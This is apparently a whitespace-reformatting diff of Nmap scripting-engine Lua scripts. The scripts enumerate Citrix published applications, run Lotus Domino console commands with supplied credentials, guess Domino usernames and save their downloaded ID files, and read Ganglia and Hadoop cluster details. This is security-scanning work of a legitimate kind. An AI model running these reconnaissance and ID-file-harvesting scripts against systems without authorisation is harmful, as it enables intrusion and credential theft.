||||||
for setting_key, setting_title in pairs(setting_pairs) do
|
for setting_key, setting_title in pairs(setting_pairs) do
|
||||||
local setting_value = settings[setting_key] and settings[setting_key] or ""
|
local setting_value = settings[setting_key] and settings[setting_key] or ""
|
||||||
table.insert(result_part, setting_title .. ": " .. setting_value )
|
table.insert(result_part, setting_title .. ": " .. setting_value )
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
if AppData.AccessList then
|
if AppData.AccessList then
|
||||||
if AppData.AccessList.User then
|
if AppData.AccessList.User then
|
||||||
table.insert(result_part, "Users: " .. stdnse.strjoin(", ", AppData.AccessList.User) )
|
table.insert(result_part, "Users: " .. stdnse.strjoin(", ", AppData.AccessList.User) )
|
||||||
end
|
end
|
||||||
|
|
||||||
if AppData.AccessList.Group then
|
if AppData.AccessList.Group then
|
||||||
table.insert(result_part, "Groups: " .. stdnse.strjoin(", ", AppData.AccessList.Group) )
|
table.insert(result_part, "Groups: " .. stdnse.strjoin(", ", AppData.AccessList.Group) )
|
||||||
end
|
end
|
||||||
|
|
||||||
table.insert(result, result_part)
|
table.insert(result, result_part)
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
return result
|
return result
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
action = function(host,port)
|
action = function(host,port)
|
||||||
|
|
||||||
local response = citrixxml.request_appdata(host.ip, port.number, {ServerAddress="",attr={addresstype="dot"},DesiredDetails={"all","access-list"} })
|
local response = citrixxml.request_appdata(host.ip, port.number, {ServerAddress="",attr={addresstype="dot"},DesiredDetails={"all","access-list"} })
|
||||||
local appdata = citrixxml.parse_appdata_response(response)
|
local appdata = citrixxml.parse_appdata_response(response)
|
||||||
|
|
||||||
local response = format_output(appdata, (nmap.verbosity() > 1 and "long" or "short"))
|
local response = format_output(appdata, (nmap.verbosity() > 1 and "long" or "short"))
|
||||||
|
|
||||||
return stdnse.format_output(true, response)
|
return stdnse.format_output(true, response)
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -40,107 +40,107 @@ portrule = shortport.portnumber(1604, "udp")
|
|||||||
--
|
--
|
||||||
function process_server_response(response)
|
function process_server_response(response)
|
||||||
|
|
||||||
local pos, packet_len = bin.unpack("SS", response)
|
local pos, packet_len = bin.unpack("SS", response)
|
||||||
local server_name
|
local server_name
|
||||||
local server_list = {}
|
local server_list = {}
|
||||||
|
|
||||||
if packet_len < 40 then
|
if packet_len < 40 then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
-- the list of published applications starts at offset 40
|
-- the list of published applications starts at offset 40
|
||||||
local offset = 41
|
local offset = 41
|
||||||
|
|
||||||
while offset < packet_len do
|
while offset < packet_len do
|
||||||
pos, server_name = bin.unpack("z", response:sub(offset))
|
pos, server_name = bin.unpack("z", response:sub(offset))
|
||||||
offset = offset + pos - 1
|
offset = offset + pos - 1
|
||||||
table.insert(server_list, server_name)
|
table.insert(server_list, server_name)
|
||||||
end
|
end
|
||||||
|
|
||||||
return server_list
|
return server_list
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local packet, counter, socket
|
local packet, counter, socket
|
||||||
local query = {}
|
local query = {}
|
||||||
local server_list = {}
|
local server_list = {}
|
||||||
|
|
||||||
--
|
--
|
||||||
-- Packets were intercepted from the Citrix Program Neighborhood client
|
-- Packets were intercepted from the Citrix Program Neighborhood client
|
||||||
-- They are used to query a server for it's list of published applications
|
-- They are used to query a server for it's list of published applications
|
||||||
--
|
--
|
||||||
-- We're really not interested in the responses to the first two packets
|
-- We're really not interested in the responses to the first two packets
|
||||||
-- The third response contains the list of published applications
|
-- The third response contains the list of published applications
|
||||||
-- I couldn't find any documentation on this protocol so I'm providing
|
-- I couldn't find any documentation on this protocol so I'm providing
|
||||||
-- some brief information for the bits and bytes this script uses.
|
-- some brief information for the bits and bytes this script uses.
|
||||||
--
|
--
|
||||||
-- Spec. of response to query[2] that contains a list of published apps
|
-- Spec. of response to query[2] that contains a list of published apps
|
||||||
--
|
--
|
||||||
-- offset size content
|
-- offset size content
|
||||||
-- -------------------------
|
-- -------------------------
|
||||||
-- 0 16-bit Length
|
-- 0 16-bit Length
|
||||||
-- 12 32-bit Server IP (not used here)
|
-- 12 32-bit Server IP (not used here)
|
||||||
-- 30 8-bit Last packet (1), More packets(0)
|
-- 30 8-bit Last packet (1), More packets(0)
|
||||||
-- 40 - null-separated list of applications
|
-- 40 - null-separated list of applications
|
||||||
--
|
--
|
||||||
query[0] = string.char(
|
query[0] = string.char(
|
||||||
0x1e, 0x00, -- Length: 30
|
0x1e, 0x00, -- Length: 30
|
||||||
0x01, 0x30, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
|
0x01, 0x30, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
|
||||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||||
0x00, 0x00, 0x00, 0x00
|
0x00, 0x00, 0x00, 0x00
|
||||||
)
|
)
|
||||||
|
|
||||||
query[1] = string.char(
|
query[1] = string.char(
|
||||||
0x2a, 0x00, -- Length: 42
|
0x2a, 0x00, -- Length: 42
|
||||||
0x01, 0x32, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
|
0x01, 0x32, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
|
||||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||||
0x00, 0x00, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00,
|
0x00, 0x00, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00,
|
||||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
||||||
)
|
)
|
||||||
|
|
||||||
counter = 0
|
counter = 0
|
||||||
|
|
||||||
socket = nmap.new_socket()
|
socket = nmap.new_socket()
|
||||||
socket:set_timeout(5000)
|
socket:set_timeout(5000)
|
||||||
|
|
||||||
local try = nmap.new_try(function() socket:close() end)
|
local try = nmap.new_try(function() socket:close() end)
|
||||||
try(socket:connect(host, port))
|
try(socket:connect(host, port))
|
||||||
|
|
||||||
-- send the two first packets and never look back
|
-- send the two first packets and never look back
|
||||||
repeat
|
repeat
|
||||||
try(socket:send(query[counter]))
|
try(socket:send(query[counter]))
|
||||||
packet = try(socket:receive())
|
packet = try(socket:receive())
|
||||||
counter = counter + 1
|
counter = counter + 1
|
||||||
until (counter>#query)
|
until (counter>#query)
|
||||||
|
|
||||||
-- process the first response
|
-- process the first response
|
||||||
server_list = process_server_response( packet )
|
server_list = process_server_response( packet )
|
||||||
|
|
||||||
--
|
--
|
||||||
-- the byte at offset 31 in the response has a really magic function
|
-- the byte at offset 31 in the response has a really magic function
|
||||||
-- if it is set to zero (0) we have more response packets to process
|
-- if it is set to zero (0) we have more response packets to process
|
||||||
-- if it is set to one (1) we have arrived at the last packet of our journey
|
-- if it is set to one (1) we have arrived at the last packet of our journey
|
||||||
--
|
--
|
||||||
while packet:sub(31,31) ~= string.char(0x01) do
|
while packet:sub(31,31) ~= string.char(0x01) do
|
||||||
packet = try( socket:receive() )
|
packet = try( socket:receive() )
|
||||||
local tmp_table = process_server_response( packet )
|
local tmp_table = process_server_response( packet )
|
||||||
|
|
||||||
for _, v in ipairs(tmp_table) do
|
for _, v in ipairs(tmp_table) do
|
||||||
table.insert(server_list, v)
|
table.insert(server_list, v)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
if #server_list>0 then
|
if #server_list>0 then
|
||||||
nmap.set_port_state(host, port, "open")
|
nmap.set_port_state(host, port, "open")
|
||||||
end
|
end
|
||||||
|
|
||||||
socket:close()
|
socket:close()
|
||||||
|
|
||||||
return stdnse.format_output(true, server_list)
|
return stdnse.format_output(true, server_list)
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -10,7 +10,7 @@ Runs a console command on the Lotus Domino Console using the given authenticatio
|
|||||||
---
|
---
|
||||||
-- @usage
|
-- @usage
|
||||||
-- nmap -p 2050 <host> --script domcon-cmd --script-args domcon-cmd.cmd="show server", \
|
-- nmap -p 2050 <host> --script domcon-cmd --script-args domcon-cmd.cmd="show server", \
|
||||||
-- domcon-cmd.user="Patrik Karlsson",domcon-cmd.pass="secret"
|
-- domcon-cmd.user="Patrik Karlsson",domcon-cmd.pass="secret"
|
||||||
--
|
--
|
||||||
-- @output
|
-- @output
|
||||||
-- PORT STATE SERVICE REASON
|
-- PORT STATE SERVICE REASON
|
||||||
@@ -70,69 +70,69 @@ portrule = shortport.port_or_service(2050, "dominoconsole", "tcp", "open")
|
|||||||
-- or error message if status is false
|
-- or error message if status is false
|
||||||
local function readAPIBlock( socket )
|
local function readAPIBlock( socket )
|
||||||
|
|
||||||
local lines
|
local lines
|
||||||
local result = {}
|
local result = {}
|
||||||
local status, line = socket:receive_lines(1)
|
local status, line = socket:receive_lines(1)
|
||||||
|
|
||||||
if ( not(status) ) then return false, "Failed to read line" end
|
if ( not(status) ) then return false, "Failed to read line" end
|
||||||
lines = stdnse.strsplit( "\n", line )
|
lines = stdnse.strsplit( "\n", line )
|
||||||
|
|
||||||
for _, line in ipairs( lines ) do
|
for _, line in ipairs( lines ) do
|
||||||
if ( not(line:match("BeginData")) and not(line:match("EndData")) ) then
|
if ( not(line:match("BeginData")) and not(line:match("EndData")) ) then
|
||||||
table.insert(result, line)
|
table.insert(result, line)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Clear trailing empty lines
|
-- Clear trailing empty lines
|
||||||
while( true ) do
|
while( true ) do
|
||||||
if ( result[#result] == "" ) then
|
if ( result[#result] == "" ) then
|
||||||
table.remove(result, #result)
|
table.remove(result, #result)
|
||||||
else
|
else
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
return true, result
|
return true, result
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local socket = nmap.new_socket()
|
local socket = nmap.new_socket()
|
||||||
local result_part, result, cmds = {}, {}, {}
|
local result_part, result, cmds = {}, {}, {}
|
||||||
local user = stdnse.get_script_args('domcon-cmd.user')
|
local user = stdnse.get_script_args('domcon-cmd.user')
|
||||||
local pass = stdnse.get_script_args('domcon-cmd.pass')
|
local pass = stdnse.get_script_args('domcon-cmd.pass')
|
||||||
local cmd = stdnse.get_script_args('domcon-cmd.cmd')
|
local cmd = stdnse.get_script_args('domcon-cmd.cmd')
|
||||||
|
|
||||||
if( not(cmd) ) then return " \n ERROR: No command supplied (see domcon-cmd.cmd)" end
|
if( not(cmd) ) then return " \n ERROR: No command supplied (see domcon-cmd.cmd)" end
|
||||||
if( not(user)) then return " \n ERROR: No username supplied (see domcon-cmd.user)" end
|
if( not(user)) then return " \n ERROR: No username supplied (see domcon-cmd.user)" end
|
||||||
if( not(pass)) then return " \n ERROR: No password supplied (see domcon-cmd.pass)" end
|
if( not(pass)) then return " \n ERROR: No password supplied (see domcon-cmd.pass)" end
|
||||||
|
|
||||||
cmds = stdnse.strsplit(";%s*", cmd)
|
cmds = stdnse.strsplit(";%s*", cmd)
|
||||||
|
|
||||||
socket:set_timeout(10000)
|
socket:set_timeout(10000)
|
||||||
local status = socket:connect( host.ip, port.number, "tcp")
|
local status = socket:connect( host.ip, port.number, "tcp")
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
socket:reconnect_ssl()
|
socket:reconnect_ssl()
|
||||||
end
|
end
|
||||||
|
|
||||||
socket:send("#API\n")
|
socket:send("#API\n")
|
||||||
socket:send( ("#UI %s,%s\n"):format(user,pass) )
|
socket:send( ("#UI %s,%s\n"):format(user,pass) )
|
||||||
socket:receive_lines(1)
|
socket:receive_lines(1)
|
||||||
socket:send("#EXIT\n")
|
socket:send("#EXIT\n")
|
||||||
|
|
||||||
for i=1, #cmds do
|
for i=1, #cmds do
|
||||||
socket:send(cmds[i] .. "\n")
|
socket:send(cmds[i] .. "\n")
|
||||||
status, result_part = readAPIBlock( socket )
|
status, result_part = readAPIBlock( socket )
|
||||||
if( status ) then
|
if( status ) then
|
||||||
result_part.name = cmds[i]
|
result_part.name = cmds[i]
|
||||||
table.insert( result, result_part )
|
table.insert( result, result_part )
|
||||||
else
|
else
|
||||||
return " \n ERROR: " .. result_part
|
return " \n ERROR: " .. result_part
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
socket:close()
|
socket:close()
|
||||||
|
|
||||||
return stdnse.format_output( true, result )
|
return stdnse.format_output( true, result )
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -54,81 +54,81 @@ portrule = shortport.port_or_service(1352, "lotusnotes", "tcp", "open")
|
|||||||
-- @return status true on success, false on failure
|
-- @return status true on success, false on failure
|
||||||
-- @return err string containing error message if status is false
|
-- @return err string containing error message if status is false
|
||||||
local function saveIDFile( filename, data )
|
local function saveIDFile( filename, data )
|
||||||
local f = io.open( filename, "w")
|
local f = io.open( filename, "w")
|
||||||
if ( not(f) ) then
|
if ( not(f) ) then
|
||||||
return false, ("Failed to open file (%s)"):format(filename)
|
return false, ("Failed to open file (%s)"):format(filename)
|
||||||
end
|
end
|
||||||
if ( not(f:write( data ) ) ) then
|
if ( not(f:write( data ) ) ) then
|
||||||
return false, ("Failed to write file (%s)"):format(filename)
|
return false, ("Failed to write file (%s)"):format(filename)
|
||||||
end
|
end
|
||||||
f:close()
|
f:close()
|
||||||
|
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local helper = nrpc.Helper:new( host, port )
|
local helper = nrpc.Helper:new( host, port )
|
||||||
local status, data, usernames, err
|
local status, data, usernames, err
|
||||||
local path = stdnse.get_script_args('domino-enum-users.path')
|
local path = stdnse.get_script_args('domino-enum-users.path')
|
||||||
local result = {}
|
local result = {}
|
||||||
local save_file = false
|
local save_file = false
|
||||||
local counter = 0
|
local counter = 0
|
||||||
local domino_username = stdnse.get_script_args("domino-enum-users.username")
|
local domino_username = stdnse.get_script_args("domino-enum-users.username")
|
||||||
if ( domino_username ) then
|
if ( domino_username ) then
|
||||||
usernames = ( function()
|
usernames = ( function()
|
||||||
local b = true
|
local b = true
|
||||||
return function()
|
return function()
|
||||||
if ( b ) then
|
if ( b ) then
|
||||||
b=false;
|
b=false;
|
||||||
return domino_username
|
return domino_username
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end )()
|
end )()
|
||||||
else
|
else
|
||||||
status, usernames = unpwdb.usernames()
|
status, usernames = unpwdb.usernames()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return false, "Failed to load usernames"
|
return false, "Failed to load usernames"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
for username in usernames do
|
for username in usernames do
|
||||||
status = helper:connect()
|
status = helper:connect()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
err = ("ERROR: Failed to connect to Lotus Domino Server %s"):format( host.ip )
|
err = ("ERROR: Failed to connect to Lotus Domino Server %s"):format( host.ip )
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
|
|
||||||
status, data = helper:isValidUser( username )
|
status, data = helper:isValidUser( username )
|
||||||
helper:disconnect()
|
helper:disconnect()
|
||||||
|
|
||||||
if ( status and data and path ) then
|
if ( status and data and path ) then
|
||||||
local filename = path .. "/" .. stdnse.filename_escape(username .. ".id")
|
local filename = path .. "/" .. stdnse.filename_escape(username .. ".id")
|
||||||
local status, err = saveIDFile( filename, data )
|
local status, err = saveIDFile( filename, data )
|
||||||
|
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
table.insert(result, ("Succesfully stored \"%s\" in %s"):format(username, filename) )
|
table.insert(result, ("Succesfully stored \"%s\" in %s"):format(username, filename) )
|
||||||
else
|
else
|
||||||
stdnse.print_debug( err )
|
stdnse.print_debug( err )
|
||||||
table.insert(result, ("Failed to store \"%s\" to %s"):format(username, filename) )
|
table.insert(result, ("Failed to store \"%s\" to %s"):format(username, filename) )
|
||||||
end
|
end
|
||||||
elseif( status and data ) then
|
elseif( status and data ) then
|
||||||
table.insert(result, ("Succesfully retrieved ID for \"%s\" (to store set the domino-enum-users.path argument)"):format(username) )
|
table.insert(result, ("Succesfully retrieved ID for \"%s\" (to store set the domino-enum-users.path argument)"):format(username) )
|
||||||
elseif ( status ) then
|
elseif ( status ) then
|
||||||
table.insert(result, ("User \"%s\" found, but no ID file could be downloaded"):format(username) )
|
table.insert(result, ("User \"%s\" found, but no ID file could be downloaded"):format(username) )
|
||||||
end
|
end
|
||||||
|
|
||||||
counter = counter + 1
|
counter = counter + 1
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( #result == 0 ) then
|
if ( #result == 0 ) then
|
||||||
table.insert(result, ("Guessed %d usernames, none were found"):format(counter) )
|
table.insert(result, ("Guessed %d usernames, none were found"):format(counter) )
|
||||||
end
|
end
|
||||||
|
|
||||||
result = stdnse.format_output( true, result )
|
result = stdnse.format_output( true, result )
|
||||||
if ( err ) then
|
if ( err ) then
|
||||||
result = result .. (" \n %s"):format(err)
|
result = result .. (" \n %s"):format(err)
|
||||||
end
|
end
|
||||||
|
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -25,13 +25,13 @@ For more information about Ganglia, see:
|
|||||||
-- nmap --script ganglia-info --script-args ganglia-info.timeout=60,ganglia-info.bytes=1000000 -p <port> <target>
|
-- nmap --script ganglia-info --script-args ganglia-info.timeout=60,ganglia-info.bytes=1000000 -p <port> <target>
|
||||||
--
|
--
|
||||||
-- @args ganglia-info.timeout
|
-- @args ganglia-info.timeout
|
||||||
-- Set the timeout in seconds. The default value is 60.
|
-- Set the timeout in seconds. The default value is 60.
|
||||||
-- This should be enough for a grid of more than 100 hosts at 200Kb/s.
|
-- This should be enough for a grid of more than 100 hosts at 200Kb/s.
|
||||||
-- About 5KB-10KB of data is returned for each host in the cluster.
|
-- About 5KB-10KB of data is returned for each host in the cluster.
|
||||||
-- @args ganglia-info.bytes
|
-- @args ganglia-info.bytes
|
||||||
-- Set the number of bytes to retrieve. The default value is 1000000.
|
-- Set the number of bytes to retrieve. The default value is 1000000.
|
||||||
-- This should be enough for a grid of more than 100 hosts.
|
-- This should be enough for a grid of more than 100 hosts.
|
||||||
-- About 5KB-10KB of data is returned for each host in the cluster.
|
-- About 5KB-10KB of data is returned for each host in the cluster.
|
||||||
--
|
--
|
||||||
-- @output
|
-- @output
|
||||||
-- PORT STATE SERVICE VERSION
|
-- PORT STATE SERVICE VERSION
|
||||||
@@ -89,63 +89,63 @@ portrule = shortport.port_or_service ({8649,8651}, "ganglia", {"tcp"})
|
|||||||
|
|
||||||
action = function( host, port )
|
action = function( host, port )
|
||||||
|
|
||||||
local result = {}
|
local result = {}
|
||||||
|
|
||||||
-- Set timeout
|
-- Set timeout
|
||||||
local timeout = nmap.registry.args[SCRIPT_NAME .. '.timeout']
|
local timeout = nmap.registry.args[SCRIPT_NAME .. '.timeout']
|
||||||
if not timeout then
|
if not timeout then
|
||||||
timeout = 30
|
timeout = 30
|
||||||
else
|
else
|
||||||
tonumber(timeout)
|
tonumber(timeout)
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Set bytes
|
-- Set bytes
|
||||||
local bytes = nmap.registry.args[SCRIPT_NAME .. '.bytes']
|
local bytes = nmap.registry.args[SCRIPT_NAME .. '.bytes']
|
||||||
if not bytes then
|
if not bytes then
|
||||||
bytes = 1000000
|
bytes = 1000000
|
||||||
else
|
else
|
||||||
tonumber(bytes)
|
tonumber(bytes)
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Retrieve grid data in XML format over TCP
|
-- Retrieve grid data in XML format over TCP
|
||||||
stdnse.print_debug(1, ("%s: Connecting to %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
stdnse.print_debug(1, ("%s: Connecting to %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
||||||
local status, data = comm.get_banner(host, port, {timeout=timeout*1000,bytes=bytes})
|
local status, data = comm.get_banner(host, port, {timeout=timeout*1000,bytes=bytes})
|
||||||
if not status then
|
if not status then
|
||||||
stdnse.print_debug(1, ("%s: Timeout exceeded for %s:%s (Timeout: %ss)."):format(SCRIPT_NAME, host.targetname or host.ip, port.number, timeout))
|
stdnse.print_debug(1, ("%s: Timeout exceeded for %s:%s (Timeout: %ss)."):format(SCRIPT_NAME, host.targetname or host.ip, port.number, timeout))
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Parse daemon info
|
-- Parse daemon info
|
||||||
if not string.match(data, "<!DOCTYPE GANGLIA_XML") then
|
if not string.match(data, "<!DOCTYPE GANGLIA_XML") then
|
||||||
stdnse.print_debug(1, ("%s: %s:%s is not a Ganglia Daemon."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
stdnse.print_debug(1, ("%s: %s:%s is not a Ganglia Daemon."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
||||||
return
|
return
|
||||||
elseif string.match(data, '<GANGLIA_XML VERSION="([^"]*)" SOURCE="gmond"') then
|
elseif string.match(data, '<GANGLIA_XML VERSION="([^"]*)" SOURCE="gmond"') then
|
||||||
table.insert(result, "Service: Ganglia Monitoring Daemon")
|
table.insert(result, "Service: Ganglia Monitoring Daemon")
|
||||||
local version = string.match(data, '<GANGLIA_XML VERSION="([^"]*)" SOURCE="gmond"')
|
local version = string.match(data, '<GANGLIA_XML VERSION="([^"]*)" SOURCE="gmond"')
|
||||||
if version then table.insert(result, string.format("Version: %s\n", version)) end
|
if version then table.insert(result, string.format("Version: %s\n", version)) end
|
||||||
elseif string.match(data, '<GANGLIA_XML VERSION="([^"]*)" SOURCE="gmetad"') then
|
elseif string.match(data, '<GANGLIA_XML VERSION="([^"]*)" SOURCE="gmetad"') then
|
||||||
table.insert(result, "Service: Ganglia Meta Daemon")
|
table.insert(result, "Service: Ganglia Meta Daemon")
|
||||||
local version = string.match(data, '<GANGLIA_XML VERSION="([^"]*)" SOURCE="gmetad"')
|
local version = string.match(data, '<GANGLIA_XML VERSION="([^"]*)" SOURCE="gmetad"')
|
||||||
if version then table.insert(result, string.format("Version: %s\n", version)) end
|
if version then table.insert(result, string.format("Version: %s\n", version)) end
|
||||||
local grid = string.match(data, '<GRID NAME="([^"]*)" ')
|
local grid = string.match(data, '<GRID NAME="([^"]*)" ')
|
||||||
if grid then table.insert(result, string.format("Grid Name: %s", grid)) end
|
if grid then table.insert(result, string.format("Grid Name: %s", grid)) end
|
||||||
else
|
else
|
||||||
stdnse.print_debug(1, ("%s: %s:%s did not supply Ganglia daemon details."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
stdnse.print_debug(1, ("%s: %s:%s did not supply Ganglia daemon details."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Extract cluster details and system details for each cluster in the grid
|
-- Extract cluster details and system details for each cluster in the grid
|
||||||
for line in string.gmatch(data, "[^\n]+") do
|
for line in string.gmatch(data, "[^\n]+") do
|
||||||
if string.match(line, '<CLUSTER NAME="([^"]*)" ') and string.match(line, '<CLUSTER [^>]+ OWNER="([^"]*)" ') then
|
if string.match(line, '<CLUSTER NAME="([^"]*)" ') and string.match(line, '<CLUSTER [^>]+ OWNER="([^"]*)" ') then
|
||||||
table.insert(result, string.format("Cluster Name: %s\n\tOwner: %s\n", string.match(line, '<CLUSTER NAME="([^"]*)" '), string.match(line, '<CLUSTER [^>]+ OWNER="([^"]*)" ')))
|
table.insert(result, string.format("Cluster Name: %s\n\tOwner: %s\n", string.match(line, '<CLUSTER NAME="([^"]*)" '), string.match(line, '<CLUSTER [^>]+ OWNER="([^"]*)" ')))
|
||||||
elseif string.match(line, '<HOST NAME="([^"]*)" IP="([^"]*)"') then
|
elseif string.match(line, '<HOST NAME="([^"]*)" IP="([^"]*)"') then
|
||||||
table.insert(result, string.format("\tHostname: %s\n\t\tIP: %s\n", string.match(line, '<HOST NAME="([^"]*)" IP="[^"]*"'), string.match(line, '<HOST NAME="[^"]*" IP="([^"]*)"')))
|
table.insert(result, string.format("\tHostname: %s\n\t\tIP: %s\n", string.match(line, '<HOST NAME="([^"]*)" IP="[^"]*"'), string.match(line, '<HOST NAME="[^"]*" IP="([^"]*)"')))
|
||||||
elseif string.match(line, '<METRIC NAME="([^"]*)" VAL="[^"]*" [^>]+ UNITS="[^"]*"') then
|
elseif string.match(line, '<METRIC NAME="([^"]*)" VAL="[^"]*" [^>]+ UNITS="[^"]*"') then
|
||||||
table.insert(result, string.format("\t\t%s: %s%s", string.gsub(string.match(line, '<METRIC NAME="([^"]*)" VAL="[^"]*" [^>]+ UNITS="[^"]*"'), "_", " "), string.match(line, '<METRIC NAME="[^"]*" VAL="([^"]*)" [^>]+ UNITS="[^"]*"'), string.match(line, '<METRIC NAME="[^"]*" VAL="[^"]*" [^>]+ UNITS="([^"]*)"')))
|
table.insert(result, string.format("\t\t%s: %s%s", string.gsub(string.match(line, '<METRIC NAME="([^"]*)" VAL="[^"]*" [^>]+ UNITS="[^"]*"'), "_", " "), string.match(line, '<METRIC NAME="[^"]*" VAL="([^"]*)" [^>]+ UNITS="[^"]*"'), string.match(line, '<METRIC NAME="[^"]*" VAL="[^"]*" [^>]+ UNITS="([^"]*)"')))
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Return results
|
-- Return results
|
||||||
return stdnse.format_output(true, result)
|
return stdnse.format_output(true, result)
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -53,105 +53,105 @@ categories = {"default", "discovery", "safe"}
|
|||||||
|
|
||||||
|
|
||||||
portrule = function(host, port)
|
portrule = function(host, port)
|
||||||
-- Run for the special port number, or for any HTTP-like service that is
|
-- Run for the special port number, or for any HTTP-like service that is
|
||||||
-- not on a usual HTTP port.
|
-- not on a usual HTTP port.
|
||||||
return shortport.port_or_service ({50070}, "hadoop-namenode")(host, port)
|
return shortport.port_or_service ({50070}, "hadoop-namenode")(host, port)
|
||||||
or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
|
or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
|
||||||
end
|
end
|
||||||
|
|
||||||
get_datanodes = function( host, port, Status )
|
get_datanodes = function( host, port, Status )
|
||||||
local result = {}
|
local result = {}
|
||||||
local uri = "/dfsnodelist.jsp?whatNodes=" .. Status
|
local uri = "/dfsnodelist.jsp?whatNodes=" .. Status
|
||||||
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
|
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
|
||||||
local response = http.get( host, port, uri )
|
local response = http.get( host, port, uri )
|
||||||
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response" ))
|
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response" ))
|
||||||
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
|
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
|
||||||
local body = response['body']:gsub("%%","%%%%")
|
local body = response['body']:gsub("%%","%%%%")
|
||||||
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
|
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
|
||||||
for datanodetmp in string.gmatch(body, "[%w%.:-_]+/browseDirectory.jsp") do
|
for datanodetmp in string.gmatch(body, "[%w%.:-_]+/browseDirectory.jsp") do
|
||||||
local datanode = datanodetmp:gsub("/browseDirectory.jsp","")
|
local datanode = datanodetmp:gsub("/browseDirectory.jsp","")
|
||||||
stdnse.print_debug(1, ("%s: Datanode %s"):format(SCRIPT_NAME,datanode))
|
stdnse.print_debug(1, ("%s: Datanode %s"):format(SCRIPT_NAME,datanode))
|
||||||
table.insert(result, ("Datanode: %s"):format(datanode))
|
table.insert(result, ("Datanode: %s"):format(datanode))
|
||||||
if target.ALLOW_NEW_TARGETS then
|
if target.ALLOW_NEW_TARGETS then
|
||||||
if datanode:match("([%w%.]+)") then
|
if datanode:match("([%w%.]+)") then
|
||||||
local newtarget = datanode:match("([%w%.]+)")
|
local newtarget = datanode:match("([%w%.]+)")
|
||||||
stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget))
|
stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget))
|
||||||
local status,err = target.add(newtarget)
|
